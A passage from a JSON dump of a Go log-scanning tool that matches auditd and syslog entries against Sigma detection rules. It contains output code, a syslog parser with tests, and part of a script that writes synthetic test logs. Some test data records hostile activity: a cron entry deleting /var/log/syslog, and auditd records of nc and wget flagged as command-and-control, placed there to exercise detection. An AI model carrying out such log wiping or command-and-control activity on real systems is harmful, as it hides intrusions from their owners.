got)\n\t}\n}\n\nfunc TestRealMappingFiles(t *testing.T) {\n\tcases := []struct {\n\t\tfile   string\n\t\tsource string\n\t}{\n\t\t{\"../../mappings/auditd.yml\", \"auditd\"},\n\t\t{\"../../mappings/syslog.yml\", \"syslog\"},\n\t\t{\"../../mappings/journald.yml\", \"journald\"},\n\t}\n\tfor _, c := range cases {\n\t\tm, err := Load(c.file)\n\t\tif err != nil {\n\t\t\tt.Errorf(\"Load(%s): %v\", c.file, err)\n\t\t\tcontinue\n\t\t}\n\t\tif m.Source != c.source {\n\t\t\tt.Errorf(\"%s source: got %q, want %q\", c.file, m.Source, c.source)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "maps/output/output.go",
    "content": "package output\n\nimport (\n\t\"encoding/csv\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"strings\"\n\n\t\"github.com/olekukonko/tablewriter\"\n)\n\n// ScanResult is the common result produced by all log mappers after evaluating Sigma rules.\ntype ScanResult struct {\n\tTimestamp string   `json:\"Timestamp\"`\n\tMessage   string   `json:\"Message,omitempty\"`\n\tUser      string   `json:\"User,omitempty\"`\n\tExe       string   `json:\"Exe,omitempty\"`\n\tTerminal  string   `json:\"Terminal,omitempty\"`\n\tPID       string   `json:\"PID,omitempty\"`\n\tTags      []string `json:\"Tags\"`\n\tAuthor    string   `json:\"Author\"`\n\tRuleID    string   `json:\"ID\"`\n\tTitle     string   `json:\"Title\"`\n}\n\n// Renderer defines the table/CSV columns for a specific log type.\n// JSON output always serialises the full ScanResult struct.\ntype Renderer struct {\n\tHeaders []string\n\tRow     func(ScanResult) []string\n}\n\n// Write renders results in the requested format to w.\n// outputType must be \"json\", \"csv\", or any other value for a table.\nfunc Write(w io.Writer, outputType string, results []ScanResult, r Renderer) error {\n\tswitch outputType {\n\tcase \"json\":\n\t\treturn writeJSON(w, results)\n\tcase \"csv\":\n\t\treturn writeCSV(w, results, r)\n\tdefault:\n\t\twriteTable(w, results, r)\n\t\treturn nil\n\t}\n}\n\nfunc writeJSON(w io.Writer, results []ScanResult) error {\n\tenc := json.NewEncoder(w)\n\tenc.SetIndent(\"\", \"  \")\n\tif err := enc.Encode(results); err != nil {\n\t\treturn fmt.Errorf(\"encoding JSON: %w\", err)\n\t}\n\treturn nil\n}\n\nfunc writeCSV(w io.Writer, results []ScanResult, r Renderer) error {\n\tcw := csv.NewWriter(w)\n\tif err := cw.Write(r.Headers); err != nil {\n\t\treturn fmt.Errorf(\"writing CSV header: %w\", err)\n\t}\n\tfor _, res := range results {\n\t\tif err := cw.Write(r.Row(res)); err != nil {\n\t\t\treturn fmt.Errorf(\"writing CSV row: %w\", err)\n\t\t}\n\t}\n\tcw.Flush()\n\treturn cw.Error()\n}\n\nfunc writeTable(w io.Writer, results []ScanResult, r Renderer) {\n\ttable := tablewriter.NewWriter(w)\n\ttable.SetHeader(r.Headers)\n\tfor _, res := range results {\n\t\ttable.Append(r.Row(res))\n\t}\n\ttable.Render()\n}\n\n// TagString joins tags with a dash, matching the original output format.\nfunc TagString(tags []string) string {\n\treturn strings.Join(tags, \"-\")\n}\n"
  },
  {
    "path": "maps/output/output_test.go",
    "content": "package output\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"strings\"\n\t\"testing\"\n)\n\nvar testRenderer = Renderer{\n\tHeaders: []string{\"Timestamp\", \"Message\", \"Tags\", \"Author\", \"ID\", \"Title\"},\n\tRow: func(r ScanResult) []string {\n\t\treturn []string{r.Timestamp, r.Message, TagString(r.Tags), r.Author, r.RuleID, r.Title}\n\t},\n}\n\nvar sampleResults = []ScanResult{\n\t{\n\t\tTimestamp: \"2023-01-01T00:00:00Z\",\n\t\tMessage:   \"test message\",\n\t\tUser:      \"1000\",\n\t\tTags:      []string{\"attack.execution\", \"attack.t1059\"},\n\t\tAuthor:    \"Test Author\",\n\t\tRuleID:    \"abc-123\",\n\t\tTitle:     \"Test Rule\",\n\t},\n}\n\nfunc TestWriteJSON(t *testing.T) {\n\tvar buf bytes.Buffer\n\tif err := Write(&buf, \"json\", sampleResults, testRenderer); err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\n\tvar out []ScanResult\n\tif err := json.Unmarshal(buf.Bytes(), &out); err != nil {\n\t\tt.Fatalf(\"invalid JSON output: %v\", err)\n\t}\n\tif len(out) != 1 {\n\t\tt.Fatalf(\"expected 1 result, got %d\", len(out))\n\t}\n\tif out[0].Title != \"Test Rule\" {\n\t\tt.Errorf(\"expected Title=Test Rule, got %q\", out[0].Title)\n\t}\n\tif out[0].RuleID != \"abc-123\" {\n\t\tt.Errorf(\"expected RuleID=abc-123, got %q\", out[0].RuleID)\n\t}\n\tif len(out[0].Tags) != 2 {\n\t\tt.Errorf(\"expected 2 tags, got %d\", len(out[0].Tags))\n\t}\n}\n\nfunc TestWriteJSONEmpty(t *testing.T) {\n\tvar buf bytes.Buffer\n\tif err := Write(&buf, \"json\", []ScanResult{}, testRenderer); err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\ttrimmed := strings.TrimSpace(buf.String())\n\tif trimmed != \"[]\" {\n\t\tt.Errorf(\"expected [] for empty results, got %q\", trimmed)\n\t}\n}\n\nfunc TestWriteCSV(t *testing.T) {\n\tvar buf bytes.Buffer\n\tif err := Write(&buf, \"csv\", sampleResults, testRenderer); err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\n\tlines := strings.Split(strings.TrimSpace(buf.String()), \"\\n\")\n\tif len(lines) != 2 {\n\t\tt.Fatalf(\"expected header + 1 data row, got %d lines\", len(lines))\n\t}\n\tif !strings.Contains(lines[0], \"Timestamp\") {\n\t\tt.Errorf(\"CSV header missing Timestamp: %q\", lines[0])\n\t}\n\tif !strings.Contains(lines[1], \"Test Rule\") {\n\t\tt.Errorf(\"CSV row missing title: %q\", lines[1])\n\t}\n\t// Tags should be joined with dash\n\tif !strings.Contains(lines[1], \"attack.execution-attack.t1059\") {\n\t\tt.Errorf(\"CSV tags not joined with dash: %q\", lines[1])\n\t}\n}\n\nfunc TestWriteCSVEmpty(t *testing.T) {\n\tvar buf bytes.Buffer\n\tif err := Write(&buf, \"csv\", []ScanResult{}, testRenderer); err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\t// Should at minimum write the header\n\tif !strings.Contains(buf.String(), \"Timestamp\") {\n\t\tt.Errorf(\"empty CSV should still contain header, got: %q\", buf.String())\n\t}\n}\n\nfunc TestWriteTable(t *testing.T) {\n\tvar buf bytes.Buffer\n\tif err := Write(&buf, \"table\", sampleResults, testRenderer); err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tout := buf.String()\n\tif !strings.Contains(out, \"TIMESTAMP\") {\n\t\tt.Errorf(\"table missing TIMESTAMP header, got: %q\", out)\n\t}\n\tif !strings.Contains(out, \"Test Rule\") {\n\t\tt.Errorf(\"table missing rule title, got: %q\", out)\n\t}\n}\n\nfunc TestWriteUnknownTypeDefaultsToTable(t *testing.T) {\n\tvar buf bytes.Buffer\n\tif err := Write(&buf, \"unknown\", sampleResults, testRenderer); err != nil {\n\t\tt.Fatalf(\"unexpected error for unknown output type: %v\", err)\n\t}\n\tif buf.Len() == 0 {\n\t\tt.Error(\"expected non-empty output for unknown type (should render table)\")\n\t}\n}\n\nfunc TestTagString(t *testing.T) {\n\tif TagString([]string{\"a\", \"b\", \"c\"}) != \"a-b-c\" {\n\t\tt.Error(\"TagString should join with dash\")\n\t}\n\tif TagString([]string{}) != \"\" {\n\t\tt.Error(\"TagString of empty slice should return empty string\")\n\t}\n\tif TagString([]string{\"only\"}) != \"only\" {\n\t\tt.Error(\"TagString of single element should return that element\")\n\t}\n}\n"
  },
  {
    "path": "maps/syslog/syslog.go",
    "content": "package syslog\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"strings\"\n\n\tsigma \"github.com/M00NLIG7/go-sigma-rule-engine\"\n\t\"github.com/M00NLIG7/ChopChopGo/maps/mapping\"\n\t\"github.com/M00NLIG7/ChopChopGo/maps/output\"\n\t\"github.com/schollz/progressbar/v3\"\n)\n\nfunc isAlpha(b byte) bool { return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z') }\nfunc isDigit(b byte) bool { return b >= '0' && b <= '9' }\n\n// parseSyslogTimestamp extracts the leading timestamp from a syslog line without\n// regex, eliminating the []string submatch allocation on every line.\n// It recognises two formats:\n//\n//   - BSD syslog: \"Mon DD HH:MM:SS\" (exactly 15 bytes, space-padded day)\n//   - rsyslog/ISO8601: \"YYYY-…\" terminated by the first space\n//\n// Returns the timestamp substring and its byte length. Returns (\"\", 0) when\n// the line does not match either format.\nfunc parseSyslogTimestamp(line string) (ts string, n int) {\n\t// BSD syslog: \"Mon DD HH:MM:SS\" — 15 bytes, fixed structure.\n\tif len(line) >= 15 &&\n\t\tisAlpha(line[0]) && isAlpha(line[1]) && isAlpha(line[2]) && // Mon\n\t\tline[3] == ' ' &&\n\t\t(line[4] == ' ' || isDigit(line[4])) && isDigit(line[5]) && // DD (space-padded)\n\t\tline[6] == ' ' &&\n\t\tisDigit(line[7]) && isDigit(line[8]) && line[9] == ':' && // HH:\n\t\tisDigit(line[10]) && isDigit(line[11]) && line[12] == ':' && // MM:\n\t\tisDigit(line[13]) && isDigit(line[14]) { // SS\n\t\treturn line[:15], 15\n\t}\n\t// rsyslog/ISO8601: starts with four digits and a '-' (YYYY-).\n\t// The timestamp ends at the first space.\n\tif len(line) >= 5 &&\n\t\tisDigit(line[0]) && isDigit(line[1]) && isDigit(line[2]) && isDigit(line[3]) &&\n\t\tline[4] == '-' {\n\t\tif idx := strings.IndexByte(line, ' '); idx > 0 {\n\t\t\treturn line[:idx], idx\n\t\t}\n\t}\n\treturn \"\", 0\n}\n\n// SyslogEvent represents a parsed syslog entry.\ntype SyslogEvent struct {\n\tFacility  string // hostname (closest available field without <PRI>)\n\tSeverity  string // not available in on-disk syslog format; kept for interface compat\n\tMessage   string // process[pid]: message text\n\tTimestamp string\n}\n\n// Keywords satisfies the sigma.Event interface.\nfunc (e SyslogEvent) Keywords() ([]string, bool) {\n\treturn []string{e.Facility, e.Severity, e.Message}, true\n}\n\n// Select satisfies the sigma.Event interface.\nfunc (e SyslogEvent) Select(name string) (interface{}, bool) {\n\tswitch name {\n\tcase \"facility\":\n\t\treturn e.Facility, true\n\tcase \"severity\":\n\t\treturn e.Severity, true\n\tcase \"message\":\n\t\treturn e.Message, true\n\tdefault:\n\t\treturn nil, false\n\t}\n}\n\n// MappedSyslogEvent wraps a SyslogEvent with field-name translation so that\n// Sigma rules written with generic field names (e.g. Message, Hostname) are\n// resolved to syslog-native names before Select is called.\ntype MappedSyslogEvent struct {\n\tSyslogEvent\n\tm *mapping.Mapping\n}\n\nfunc (e MappedSyslogEvent) Keywords() ([]string, bool) { return e.SyslogEvent.Keywords() }\n\nfunc (e MappedSyslogEvent) Select(name string) (interface{}, bool) {\n\treturn e.SyslogEvent.Select(e.m.Resolve(name))\n}\n\n// ParseEvents reads a syslog file and returns the parsed events.\n// Lines that do not match a recognised timestamp format are skipped rather than\n// causing an error, so mixed or partial logs are handled gracefully.\nfunc ParseEvents(logFile string) ([]SyslogEvent, error) {\n\tfile, err := os.Open(logFile)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar events []SyslogEvent\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\n\t\ttimestamp, n := parseSyslogTimestamp(line)\n\t\tif timestamp == \"\" {\n\t\t\t// Skip lines we cannot parse — don't abort the whole scan.\n\t\t\tcontinue\n\t\t}\n\n\t\t// Everything after the timestamp is \"hostname proc[pid]: message\".\n\t\t// We store the hostname in Facility and the rest in Message so that\n\t\t// keyword-based Sigma rules can match against process/message content.\n\t\trest := strings.TrimSpace(line[n:])\n\t\tvar facility, message string\n\t\tif idx := strings.IndexByte(rest, ' '); idx >= 0 {\n\t\t\tfacility = rest[:idx]\n\t\t\tmessage = strings.TrimSpace(rest[idx+1:])\n\t\t} else {\n\t\t\tmessage = rest\n\t\t}\n\n\t\tevents = append(events, SyslogEvent{\n\t\t\tFacility:  facility,\n\t\t\tSeverity:  \"\",\n\t\t\tMessage:   message,\n\t\t\tTimestamp: timestamp,\n\t\t})\n\t}\n\treturn events, scanner.Err()\n}\n\n// FindLog returns filePath when non-empty, otherwise falls back to the\n// standard syslog locations.\nfunc FindLog(file string) (string, error) {\n\tif file != \"\" {\n\t\tif _, err := os.Stat(file); err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to find provided file %v\", file)\n\t\t}\n\t\treturn file, nil\n\t}\n\n\tfor _, path := range []string{\"/var/log/syslog\", \"/var/log/messages\"} {\n\t\tif _, err := os.Stat(path); err == nil {\n\t\t\treturn path, nil\n\t\t}\n\t}\n\treturn \"\", fmt.Errorf(\"no syslog file found at /var/log/syslog or /var/log/messages\")\n}\n\nvar syslogRenderer = output.Renderer{\n\tHeaders: []string{\"Timestamp\", \"Message\", \"Tags\", \"Author\"},\n\tRow: func(r output.ScanResult) []string {\n\t\treturn []string{r.Timestamp, r.Message, output.TagString(r.Tags), r.Author}\n\t},\n}\n\n// Chop scans the syslog against Sigma rules and writes results to stdout.\n// mappingPath overrides the default mappings/syslog.yml when non-empty.\nfunc Chop(rulePath, outputType, filePath, mappingPath string) error {\n\tsyslogPath, err := FindLog(filePath)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"finding syslog: %w\", err)\n\t}\n\n\tevents, err := ParseEvents(syslogPath)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"parsing syslog: %w\", err)\n\t}\n\n\truleset, err := sigma.NewRuleset(sigma.Config{Directory: []string{rulePath}})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"loading ruleset: %w\", err)\n\t}\n\n\tshowProgress := outputType != \"json\" && outputType != \"csv\"\n\tvar bar *progressbar.ProgressBar\n\tif showProgress {\n\t\tbar = progressbar.Default(int64(len(events)))\n\t}\n\n\tif mappingPath == \"\" {\n\t\tmappingPath = \"mappings/syslog.yml\"\n\t}\n\tm := mapping.LoadOrIdentity(mappingPath, \"syslog\")\n\n\tvar results []output.ScanResult\n\tfor _, event := range events {\n\t\tmapped := MappedSyslogEvent{event, m}\n\t\tif res, match := ruleset.EvalAll(mapped); match {\n\t\t\tresults = append(results, output.ScanResult{\n\t\t\t\tTimestamp: event.Timestamp,\n\t\t\t\tMessage:   event.Message,\n\t\t\t\tTags:      res[0].Tags,\n\t\t\t\tAuthor:    res[0].Author,\n\t\t\t\tRuleID:    res[0].ID,\n\t\t\t\tTitle:     res[0].Title,\n\t\t\t})\n\t\t}\n\t\tif showProgress {\n\t\t\tbar.Add(1)\n\t\t}\n\t}\n\n\tif err := output.Write(os.Stdout, outputType, results, syslogRenderer); err != nil {\n\t\treturn fmt.Errorf(\"writing output: %w\", err)\n\t}\n\tif showProgress {\n\t\tfmt.Printf(\"Processed %d syslog events\\n\", len(events))\n\t}\n\treturn nil\n}\n\n// ChopToLog is like Chop but calls log.Fatalf on error, for use from main.\nfunc ChopToLog(rulePath, outputType, filePath, mappingPath string) {\n\tif err := Chop(rulePath, outputType, filePath, mappingPath); err != nil {\n\t\tlog.Fatalf(\"syslog: %v\", err)\n\t}\n}\n"
  },
  {
    "path": "maps/syslog/syslog_test.go",
    "content": "package syslog\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\t\"testing\"\n)\n\nconst testdataDir = \"../../testdata\"\n\nfunc TestParseEventsStandardFormat(t *testing.T) {\n\tevents, err := ParseEvents(filepath.Join(testdataDir, \"syslog.log\"))\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tif len(events) != 4 {\n\t\tt.Errorf(\"expected 4 events, got %d\", len(events))\n\t}\n\tif events[0].Timestamp == \"\" {\n\t\tt.Error(\"expected non-empty timestamp\")\n\t}\n\tif events[0].Message == \"\" {\n\t\tt.Error(\"expected non-empty message\")\n\t}\n}\n\nfunc TestParseEventsRsyslogFormat(t *testing.T) {\n\tevents, err := ParseEvents(filepath.Join(testdataDir, \"rsyslog.log\"))\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tif len(events) != 3 {\n\t\tt.Errorf(\"expected 3 events, got %d\", len(events))\n\t}\n\t// ISO 8601 timestamp should be preserved\n\tif !strings.HasPrefix(events[0].Timestamp, \"2023-03-01T\") {\n\t\tt.Errorf(\"unexpected rsyslog timestamp: %q\", events[0].Timestamp)\n\t}\n}\n\nfunc TestParseEventsSkipsMalformedLines(t *testing.T) {\n\ttmp := t.TempDir()\n\tf := filepath.Join(tmp, \"mixed.log\")\n\tcontent := \"this line has no timestamp and should be skipped\\n\" +\n\t\t\"another bad line\\n\" +\n\t\t\"Mar  1 10:00:01 hostname sshd[1]: message here and more content\\n\"\n\tif err := os.WriteFile(f, []byte(content), 0600); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Must not return an error; bad lines are skipped\n\tevents, err := ParseEvents(f)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error parsing file with malformed lines: %v\", err)\n\t}\n\tif len(events) != 1 {\n\t\tt.Errorf(\"expected 1 valid event, got %d\", len(events))\n\t}\n}\n\nfunc TestParseEventsEmptyFile(t *testing.T) {\n\ttmp := t.TempDir()\n\tf := filepath.Join(tmp, \"empty.log\")\n\tif err := os.WriteFile(f, []byte(\"\"), 0600); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tevents, err := ParseEvents(f)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tif len(events) != 0 {\n\t\tt.Errorf(\"expected 0 events, got %d\", len(events))\n\t}\n}\n\nfunc TestParseEventsMessageContent(t *testing.T) {\n\ttmp := t.TempDir()\n\tf := filepath.Join(tmp, \"syslog\")\n\tline := \"Mar  4 09:00:00 host cron[5678]: (root) CMD (rm /var/log/syslog)\\n\"\n\tif err := os.WriteFile(f, []byte(line), 0600); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tevents, err := ParseEvents(f)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tif len(events) != 1 {\n\t\tt.Fatalf(\"expected 1 event, got %d\", len(events))\n\t}\n\tif !strings.Contains(events[0].Message, \"cron\") {\n\t\tt.Errorf(\"message should contain process info, got: %q\", events[0].Message)\n\t}\n}\n\nfunc TestSyslogEventSelect(t *testing.T) {\n\te := SyslogEvent{\n\t\tFacility:  \"host1\",\n\t\tSeverity:  \"\",\n\t\tMessage:   \"sshd[1]: test message\",\n\t\tTimestamp: \"Mar  1 10:00:01\",\n\t}\n\n\tif v, ok := e.Select(\"message\"); !ok || v != \"sshd[1]: test message\" {\n\t\tt.Errorf(\"Select(message): got %v, ok=%v\", v, ok)\n\t}\n\tif v, ok := e.Select(\"facility\"); !ok || v != \"host1\" {\n\t\tt.Errorf(\"Select(facility): got %v, ok=%v\", v, ok)\n\t}\n\tif v, ok := e.Select(\"severity\"); !ok || v != \"\" {\n\t\tt.Errorf(\"Select(severity): got %v, ok=%v\", v, ok)\n\t}\n\tif _, ok := e.Select(\"unknown\"); ok {\n\t\tt.Error(\"Select(unknown) should return false\")\n\t}\n}\n\nfunc TestSyslogEventKeywords(t *testing.T) {\n\te := SyslogEvent{\n\t\tFacility: \"myhost\",\n\t\tSeverity: \"\",\n\t\tMessage:  \"disk full warning\",\n\t}\n\n\tkeywords, ok := e.Keywords()\n\tif !ok {\n\t\tt.Error(\"Keywords() should return true\")\n\t}\n\n\tfound := false\n\tfor _, k := range keywords {\n\t\tif strings.Contains(k, \"disk full\") {\n\t\t\tfound = true\n\t\t}\n\t}\n\tif !found {\n\t\tt.Errorf(\"Keywords() should include message content; got %v\", keywords)\n\t}\n}\n\nfunc TestFindLogWithExistingFile(t *testing.T) {\n\ttmp := t.TempDir()\n\tf := filepath.Join(tmp, \"syslog\")\n\tif err := os.WriteFile(f, []byte(\"\"), 0600); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresult, err := FindLog(f)\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\tif result != f {\n\t\tt.Errorf(\"expected %q, got %q\", f, result)\n\t}\n}\n\nfunc TestFindLogMissingFile(t *testing.T) {\n\t_, err := FindLog(\"/nonexistent/path/syslog\")\n\tif err == nil {\n\t\tt.Error(\"expected error for missing file\")\n\t}\n}\n\n// TestParseSyslogTimestampEquivalence verifies that parseSyslogTimestamp returns\n// the same timestamp string that the original regex implementations would have\n// returned, across a representative set of real-world and edge-case lines.\nfunc TestParseSyslogTimestampEquivalence(t *testing.T) {\n\tsyslogRe := regexp.MustCompile(`^([a-zA-Z]{3}\\s+\\d{1,2}\\s+\\d{2}:\\d{2}:\\d{2})`)\n\trsyslogRe := regexp.MustCompile(`^((-?(?:[1-9][0-9]*)?[0-9]{4})-(1[0-2]|0[1-9])-(3[01]|0[1-9]|[12][0-9])T(2[0-3]|[01][0-9]):([0-5][0-9]):([0-5][0-9])(\\.[0-9]+)?(Z|[+-](?:2[0-3]|[01][0-9]):[0-5][0-9])?)`)\n\n\tregexTimestamp := func(line string) string {\n\t\tif m := syslogRe.FindStringSubmatch(line); m != nil {\n\t\t\treturn m[1]\n\t\t}\n\t\tif m := rsyslogRe.FindStringSubmatch(line); m != nil {\n\t\t\treturn m[1]\n\t\t}\n\t\treturn \"\"\n\t}\n\n\tcases := []struct {\n\t\tdesc string\n\t\tline string\n\t}{\n\t\t// BSD: single-digit day (space-padded)\n\t\t{\"BSD single-digit day\", \"Mar  1 10:00:01 host sshd[1]: msg\"},\n\t\t{\"BSD single-digit day 9\", \"Dec  9 23:59:59 host sshd[1]: msg\"},\n\t\t// BSD: double-digit day\n\t\t{\"BSD double-digit day\", \"Mar 12 10:00:01 host sshd[1]: msg\"},\n\t\t{\"BSD double-digit day 31\", \"Jan 31 00:00:00 host sshd[1]: msg\"},\n\t\t// BSD: all months\n\t\t{\"BSD Jan\", \"Jan  1 00:00:00 host p[1]: m\"},\n\t\t{\"BSD Feb\", \"Feb 28 23:59:59 host p[1]: m\"},\n\t\t{\"BSD Nov\", \"Nov 30 12:00:00 host p[1]: m\"},\n\t\t// rsyslog: UTC Z\n\t\t{\"rsyslog UTC Z\", \"2023-03-01T10:00:01Z host sshd[1]: msg\"},\n\t\t// rsyslog: positive timezone offset\n\t\t{\"rsyslog +offset\", \"2023-03-01T10:00:01+05:30 host sshd[1]: msg\"},\n\t\t// rsyslog: negative timezone offset\n\t\t{\"rsyslog -offset\", \"2023-03-01T10:00:01-08:00 host sshd[1]: msg\"},\n\t\t// rsyslog: with microseconds\n\t\t{\"rsyslog microseconds\", \"2023-03-01T10:00:01.123456+00:00 host sshd[1]: msg\"},\n\t\t// rsyslog: no fractional seconds\n\t\t{\"rsyslog no frac\", \"2023-01-15T08:30:00+00:00 host sshd[1]: msg\"},\n\t\t// Should NOT match\n\t\t{\"empty line\", \"\"},\n\t\t{\"plain text\", \"this is not a log line\"},\n\t\t{\"partial timestamp\", \"Mar 1\"},\n\t}\n\n\tfor _, c := range cases {\n\t\twant := regexTimestamp(c.line)\n\t\tgot, _ := parseSyslogTimestamp(c.line)\n\t\tif got != want {\n\t\t\tt.Errorf(\"%s:\\n  line: %q\\n  regex: %q\\n  hand:  %q\", c.desc, c.line, want, got)\n\t\t}\n\t}\n}\n\nconst bsdLine = \"Mar  1 10:00:01 hostname sshd[1234]: Accepted publickey for user from 192.168.1.1 port 22\"\nconst rsyslogLine = \"2023-03-01T10:00:01.123456+00:00 hostname sshd[1234]: Accepted publickey for user from 192.168.1.1 port 22\"\n\nfunc BenchmarkParseEventsBSD(b *testing.B) {\n\tconst n = 100_000\n\ttmp := b.TempDir()\n\tf := filepath.Join(tmp, \"bsd.log\")\n\tvar sb strings.Builder\n\tfor i := 0; i < n; i++ {\n\t\tfmt.Fprintf(&sb, \"Mar %2d 10:00:01 hostname sshd[%d]: message number %d\\n\", (i%28)+1, i+1000, i)\n\t}\n\tif err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil {\n\t\tb.Fatal(err)\n\t}\n\tb.ResetTimer()\n\tb.ReportAllocs()\n\tfor i := 0; i < b.N; i++ {\n\t\tif _, err := ParseEvents(f); err != nil {\n\t\t\tb.Fatal(err)\n\t\t}\n\t}\n}\n\nfunc BenchmarkParseEventsRsyslog(b *testing.B) {\n\tconst n = 100_000\n\ttmp := b.TempDir()\n\tf := filepath.Join(tmp, \"rsyslog.log\")\n\tvar sb strings.Builder\n\tfor i := 0; i < n; i++ {\n\t\tfmt.Fprintf(&sb, \"2023-03-01T10:%02d:%02d.000000+00:00 hostname sshd[%d]: message number %d\\n\", (i/60)%60, i%60, i+1000, i)\n\t}\n\tif err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil {\n\t\tb.Fatal(err)\n\t}\n\tb.ResetTimer()\n\tb.ReportAllocs()\n\tfor i := 0; i < b.N; i++ {\n\t\tif _, err := ParseEvents(f); err != nil {\n\t\t\tb.Fatal(err)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "scripts/generate_test_logs.sh",
    "content": "#!/usr/bin/env bash\n# generate_test_logs.sh\n# Generates synthetic auditd, syslog, and auth log test files under testdata/.\n# Entries are a mix of benign activity and events that should trigger\n# the Sigma rules bundled with this repo.\n#\n# Usage: bash scripts/generate_test_logs.sh\n\nset -euo pipefail\n\nOUTDIR=\"testdata\"\nAUDITD_LOG=\"$OUTDIR/generated_auditd.log\"\nSYSLOG_LOG=\"$OUTDIR/generated_syslog.log\"\nAUTH_LOG=\"$OUTDIR/generated_auth.log\"\n\nmkdir -p \"$OUTDIR\"\n\n# ─── Helpers ─────────────────────────────────────────────────────────────────\n\n# Base Unix timestamp — fixed so logs are reproducible\nBASE_TS=1700000000\nSEQ=1000\n\nauditd_line() {\n    local offset=\"$1\"   # seconds offset from BASE_TS\n    local type=\"$2\"\n    local fields=\"$3\"\n    local ts=$(( BASE_TS + offset ))\n    echo \"type=${type} msg=audit(${ts}.000:${SEQ}): ${fields}\"\n    SEQ=$(( SEQ + 1 ))\n}\n\nsyslog_line() {\n    local month=\"$1\"\n    local day=\"$2\"\n    local time=\"$3\"\n    local host=\"$4\"\n    local proc=\"$5\"\n    local msg=\"$6\"\n    printf \"%s %2s %s %s %s: %s\\n\" \"$month\" \"$day\" \"$time\" \"$host\" \"$proc\" \"$msg\"\n}\n\n# ─── Auditd log ──────────────────────────────────────────────────────────────\n\ncat > \"$AUDITD_LOG\" << 'HEADER'\n# Generated test auditd log\n# Lines marked [BENIGN] should produce no detections.\n# Lines marked [DETECT] should trigger at least one Sigma rule.\nHEADER\n\necho \"\" >> \"$AUDITD_LOG\"\necho \"# --- Benign activity ---\" >> \"$AUDITD_LOG\"\n\n# [BENIGN] Normal SSH login\nauditd_line 0 \"USER_AUTH\" \\\n    'pid=1234 uid=0 auid=4294967295 ses=4294967295 msg='\"'\"'op=PAM:authentication acct=\"admin\" exe=\"/usr/sbin/sshd\" hostname=10.0.0.5 addr=10.0.0.5 terminal=ssh res=success'\"'\" \\\n    >> \"$AUDITD_LOG\"\n\n# [BENIGN] Normal file open by root\nauditd_line 1 \"SYSCALL\" \\\n    'arch=c000003e syscall=2 success=yes exit=3 ppid=1 pid=2000 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"cat\" exe=\"/bin/cat\" key=(null)' \\\n    >> \"$AUDITD_LOG\"\n\n# [BENIGN] Normal cron execution\nauditd_line 2 \"EXECVE\" \\\n    'argc=1 a0=\"run-parts\" pid=3000 auid=0' \\\n    >> \"$AUDITD_LOG\"\n\n# [BENIGN] Normal PATH record for /etc/hosts\nauditd_line 3 \"PATH\" \\\n    'item=0 name=/etc/hosts inode=123 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL' \\\n    >> \"$AUDITD_LOG\"\n\n# [BENIGN] Normal systemd service check\nauditd_line 4 \"SYSCALL\" \\\n    'arch=c000003e syscall=4 success=yes exit=0 ppid=1 pid=2100 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=(none) ses=2 comm=\"systemctl\" exe=\"/usr/bin/systemctl\" key=(null)' \\\n    >> \"$AUDITD_LOG\"\n\necho \"\" >> \"$AUDITD_LOG\"\necho \"# --- Suspicious activity (should be detected) ---\" >> \"$AUDITD_LOG\"\n\n# [DETECT] lnx_auditd_susp_c2_commands — key=susp_activity (nc executed)\nauditd_line 10 \"SYSCALL\" \\\n    'arch=c000003e syscall=59 success=yes exit=0 ppid=4500 pid=4501 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=3 comm=\"nc\" exe=\"/bin/nc\" key=susp_activity' \\\n    >> \"$AUDITD_LOG\"\n\n# [DETECT] lnx_auditd_susp_c2_commands — key=susp_activity (wget executed)\nauditd_line 11 \"SYSCALL\" \\\n    'arch=c000003e syscall=59 success=yes exit=0 ppid=4500 pid=4502 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=3 comm=\"wget\" exe=\"/usr/bin/wget\" key=susp_activity' \\\n    >> \"$AUDITD_LOG\"\n\n# [DETECT] lnx_auditd_system_info_discovery — 